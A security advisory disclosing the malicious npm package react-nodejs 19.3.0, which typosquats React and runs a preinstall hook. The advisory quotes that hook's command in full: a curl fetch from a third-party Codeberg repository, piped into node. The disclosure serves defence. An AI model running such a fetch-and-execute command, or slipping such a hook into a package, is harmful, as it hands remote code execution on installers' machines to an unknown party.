react-nodejs

GHSA-wvw7-9m69-qw5x

Malicious code in react-nodejs (npm)

Details

**Severity:** Critical

**Affected versions:** `= 19.3.0`

## Source: amazon-inspector (5777ca86863da9fabb9da8e1a0d6c2f30f05533265624b2da07a8d0804930481)
package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from an unrelated third-party Codeberg user's repository on a mutable branch (proxied through web.archive.org) and executing it in Node on the installer's machine at `npm install` time. The fetched content is unpinned, unverified, and controlled by an account with no relationship to the React publisher. The package additionally impersonates React: name `react-nodejs`, description copied from React, `homepage` set to https://react.dev/, and `repository` pointing at github.com/react/react.git, while being published by an unrelated author — a typosquat lure amplifying the install-time remote code execution.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/b4f870e5514d0019d44b17021879a122b662390e/osv/malicious/npm/react-nodejs/MAL-2026-17294.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/b4f870e5514d0019d44b17021879a122b662390e/osv/malicious/npm/react-nodejs/MAL-2026-17294.json
- https://www.npmjs.com/package/react-nodejs/v/19.3.0
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/react-nodejs/MAL-2026-17294.json
- https://www.npmjs.com/package/react-nodejs
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/react-nodejs/MAL-2026-17294.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/advisories/GHSA-wvw7-9m69-qw5x

Compromised versions (1)

= 19.3.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.